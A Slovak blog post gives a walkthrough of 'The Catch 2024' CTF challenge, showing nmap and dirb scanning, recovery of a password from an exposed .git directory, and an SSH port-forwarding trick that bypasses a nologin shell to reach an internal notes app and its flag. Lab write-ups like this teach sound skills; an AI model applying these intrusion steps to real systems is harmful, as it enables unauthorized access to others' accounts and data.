3. 12. 2024

CTF - The Catch 2024 - Johny's notes

 Admin Johny si skúša nový poznámkový blok (online aplikáciu) pre zapisovanie poznámok. Myslí si, že dobre zabezpečil tak, že ju môže používať len on. Úloha je skontrolovať bezpečnostné prešľapy.

Admin Johny používa stanicu: johny-station.cypherfix.tcc
Poznámková aplikácia beží na:  notes.cyphrefix.tcc
Pomôcka: /usr/sbin/nologin je dobrý sluha, ale zlý pán

Klasicky sa pozriem najskôr, aké porty máme otvorené:

$ nmap -v -A notes.cypherfix.tcc
80
8080
8081

Web na 80tke presmerováva na 8080, na porte 8080 ani 8081 nič nevráti a cykluje.

Johny-station má otvorené porty 80 a 22. Keďže nemám žiadne ssh heslo (bude ho treba neskôr?), pozriem web na 80tke a tu máme default stránku Apache v.2.4.62, čo je aktuálna verzia (žiadne známe zraniteľnosti).


Vyzerá, že vedieť adresu pracovnej stanice admina je dôležité, skúšam preto fintu s proxy hlavičkou, či nejde o filter na adresu klienta:

wget -H 'X-Forwarded-For: 10.99.24.32, 198.51.100.1' http://notes.cypherfix.tcc

Ale nedá sa oklamať a ihneď ma odpojí.

Čo ma nenapadlo počas súťaže, je skúsiť viaceré slovníky pre hľadanie podadresárov na weboch. Spravil som si skript, ktorým precyklujem od najmenšieho po najväčší slovník cez "dirb":

if [ $# -lt 1 ]; then
  echo "pouzitie: $0 http_cesta"
  exit 1
fi

adr=$1
# PRECHADZAME SLOVNIKY OD NAJMENSICH
for list in `ls -Sr /usr/share/wordlists/dir*/*.txt`; do
 dirb $adr $list -w | grep -v ^$ | grep -v ^---- | grep -v ^DIRB | grep -v ^By\ The | grep -v _TIME | grep -v ^URL_BASE | grep -v ^OPTION | grep -v ^GENERATED
done
echo "---hotovo"

Vypis pri hľadaní vyzerá nejak takto, kódy 403 sú všetky zamietnuté prístupy do existujúceho adresára:

WORDLIST_FILES: /usr/share/wordlists/dirb/extensions_common.txt
+ http://johny-station.cypherfix.tcc// (CODE:200|SIZE:10701)

WORDLIST_FILES: /usr/share/wordlists/dirb/small.txt
+ http://johny-station.cypherfix.tcc/~bin (CODE:403|SIZE:292)
+ http://johny-station.cypherfix.tcc/~mail (CODE:403|SIZE:292)
+ http://johny-station.cypherfix.tcc/~sys (CODE:403|SIZE:292)

WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt

...

+ http://johny-station.cypherfix.tcc/~backup (CODE:403|SIZE:292)
==> DIRECTORY: http://johny-station.cypherfix.tcc/~johny/
+ http://johny-station.cypherfix.tcc/~man (CODE:403|SIZE:292)

WORDLIST_FILES: /usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt
GENERATED WORDS: 10341
+ http://johny-station.cypherfix.tcc/~irc (CODE:403|SIZE:292)
+ http://johny-station.cypherfix.tcc/~list (CODE:403|SIZE:292)
+ http://johny-station.cypherfix.tcc/~news (CODE:403|SIZE:292)

Vidím, že objavil podadresár http://johny-station.cypherfix.tcc/~johny
Po otvorení v browseri vidím výpis adresára, kde je jediný podadresár flatnotes, kde je zas výpis adresára. Skúšal som tam všetko prejsť, vyzerá to byť kód pre docker.
Najzaujímavejšie sú heslá v readme.md súbore:
$ wget http://johny-station.cypherfix.tcc/~johny/flatnotes/README.md

### Example Docker Run Command

```shell
docker run -d \
  -e "PUID=1000" \
  -e "PGID=1000" \
  -e "FLATNOTES_AUTH_TYPE=password" \
  -e "FLATNOTES_USERNAME=user" \
  -e "FLATNOTES_PASSWORD=changeMe!" \
  -e "FLATNOTES_SECRET_KEY=aLongRandomSeriesOfCharacters" \
  -v "$(pwd)/data:/data" \
  -p "8080:8080" \
  dullage/flatnotes:latest
Ale toto heslo na ssh nefunguje. Skúšal som ako pre login "user" z configu, tak pre "johny" z cesty ~johny. Hľadám teda ďalej, v podadresári ~johny/flatnotes:
$ dirb http://johny-station.cypherfix.tcc/~johny/flatnotes

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
GENERATED WORDS: 4612
---- Scanning URL: http://johny-station.cypherfix.tcc/~johny/flatnotes/ ----
+ http://johny-station.cypherfix.tcc/~johny/flatnotes/.git/HEAD (CODE:200|SIZE:24)
V adresári http://johny-station.cypherfix.tcc/~johny/flatnotes/.git
vidieť git súbory, mohli by tu byť aj verzie hesiel.

Súbory sú tu však prevažne binárne a tak si pozriem, ako ich čítať aj bez gitu, napr https://matthew-brett.github.io/curious-git/git_object_types.html

Takže posťahujem si súbory a adresáre a idem pozerať či sa v nich dopátram ku inému heslu.
$ git cat-file -p 47dab1229b328b6ec01c69c02c1a77d2651a2bf5
tree dc344f007390d239cbae812eb5d58d683a9af6a6
parent 43f1b8d3e5aeb7c4a2ee7d74da66aeb4fbe1c5b1
author johny <johny@cypherfix.tcc> 1729756244 +0000
committer johny <johny@cypherfix.tcc> 1729756244 +0000

User password for http://notes.cypherfix.tcc:8080
Parameter -p je pre pretty print, vidím že to je commit zmeny hesla, je tu id stromu -riadok tree. Pozriem teda "strom".
$ git cat-file -p dc344f007390d239cbae812eb5d58d683a9af6a6
040000 tree e4f6291d24ff5be68ade70a112e74c408e2ad81d    .devcontainer
100644 blob 8f76471268e60468a825c16c9e29d1336e5dc723    .dockerignore
040000 tree 3351f25dc82df88e93ba4e4524adb9f900326b9b    .github
100644 blob 5ab9246b2d2782a439d9a265e9f5243d20e28d11    .gitignore
100644 blob 2807b4ee799bacd17a4dab87fc0fe6417e74d3d1    .htmlnanorc
100644 blob 8499c183a3ca93e382363747e2cb826df6de31be    CONTRIBUTING.md
100644 blob cd19987933c2823538c9f8187863c50cd3c03b9a    Dockerfile
100644 blob 720b0152894f396c90d7912f6cada3d82c7854bb    Dockerfile.experimental
100644 blob 1d1f6995566de6ea8922c80f9b6f9427360869fc    LICENSE
100644 blob 9837bb80a86fc21e4f58cf1004520fef5adf58b8    Pipfile
100644 blob 243cd152d85a9a3ca09139149a7f3d52996634af    Pipfile.lock
100644 blob edc31a067f706a617ff1f3343f9f971b3d677a06    README.md
040000 tree e6144e73ea17ea390df723cdea47d6159f0bdbb3    client
040000 tree db1419988fb16c8d55371e9083ecbf4855bd348d    docs
100644 blob 4d52468c046c9acdae801d76b4717910a29d05da    entrypoint.sh
100644 blob d28d86f0be6bacce26c0e17cbd0dc91ab4642411    healthcheck.sh
100644 blob a059e279290fccde79bc0277353debea0bc4e800    package-lock.json
100644 blob 1923fe6423469862a2900b0b2acd548fa9b2655a    package.json
100644 blob daedffd2bf4950df77bf2c9d6920181331f4c48a    postcss.config.js
100644 blob fd9c7aaffe1f84fff9c2f055238453693fe2457f    prettier.config.js
100644 blob b3f362aeba3889e190e86751b473a47e54e4642b    pyproject.toml
040000 tree 20d374c8cf88ee69a3e7c835f697f84c15d27014    server
100644 blob 100e8fad54c74843cec1e42cffa754b04d389771    tailwind.config.js
100644 blob 3faaad318d3e0a914f08a7dbb32e9a9cded8ab5a    vite.config.js
Keďže to heslo bolo vidieť v README.md, pozriem si či nie je v staršej verzií funkčné - zoberiem ID pre "blob" README.md

$ git cat-file -p edc31a067f706a617ff1f3343f9f971b3d677a06 | more

Vypíše mi po sebe naozaj dve verzie, tak si vyberiem konkrétne heslá:

$ git cat-file -p edc31a067f706a617ff1f3343f9f971b3d677a06 | grep PASSW
  -e "FLATNOTES_PASSWORD=gojohnygo" \
      FLATNOTES_PASSWORD: "changeMe!"

Tak vyskúšam aj gojohnygo:
$ ssh johny@johny-station.cypherfix.tcc
johny@johny-station.cypherfix.tcc's password:
Linux 09cbf1e9b00d 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 20 11:02:43 2024 from 10.200.0.13
This account is currently not available.
Connection to johny-station.cypherfix.tcc closed.
Hneď po výpise ma odpojí, asi ako v hinte píšu, že "nologin je zlý pán".

SSH sa dá nastaviť tak, aby nevykonal žiadny príkaz, len použil možnosť presmerovania..
pre neposielanie príkazov parameter -N, tak sa neaktivuje nologin alebo /bin/false ako nastavený shell. Parameter -L pre port forwarding.

Skúsim teda presmerovať pripojenie cez johny-station na notes:8080, kam ma 80tka presmerováva ale nefunguje odomňa. U seba použijem port 81, aby s ničím nekolidoval:

ssh -N -L 81:notes.cypherfix.tcc:8080 johny@johny-station.cypherfix.tcc

Vypýta si heslo (gojohnygo), ale pri pripájaní na port 81 na localhoste zahlási, že nevie resolve. Pravdepodobne nefunguje DNS pri presmerovávaní, tak skúsim IP:
$ ping notes.cypherfix.tcc
PING notes.cypherfix.tcc (10.99.24.33) 56(84) bytes of data.
64 bytes from 10.99.24.33: icmp_seq=1 ttl=63 time=43.5 ms

$ ssh -N -L 81:10.99.24.33:8080 johny@johny-station.cypherfix.tcc
Teraz mi telnet na port už pripojí, po zadaní reťazca vidím, že očakáva HTTP komunikáciu:
$ telnet localhost 81
Trying ::1...
Connected to localhost.
Escape character is '^]'.
helo
HTTP/1.1 400 Bad Request
date: Tue, 03 Dec 2024 13:44:03 GMT
server: uvicorn
content-type: text/plain; charset=utf-8
content-length: 30
connection: close
Čiže skúsim cez browser - je to javascriptová stránka.
Privíta ma formulár pre login a heslo pre web flatnotes, heslo "johny" neberie, ale zadám "user" a "gojohnygo" podľa configu v gite.

Pustí ma ďalej a vidím nedávno modifikované poznámky:

RECENTLY MODIFIED
  • flag
  • xs-search
  • zips-tricks
  • xssi-cross-site-script-inclusion
  • xslt-server-side-injection-extensible-stylesheet-language-transformations

Keď kliknem na flag poznámku, vráti FLAG{VfCK-Hlp4-cQl8-p0UM}

Žiadne komentáre:

Zverejnenie komentára